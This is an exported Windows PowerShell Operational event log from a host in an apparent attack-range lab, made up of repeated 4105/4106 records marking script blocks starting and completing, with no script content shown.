SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041159
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041158
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041157
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041156
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041140
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041139
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041134
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041133
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
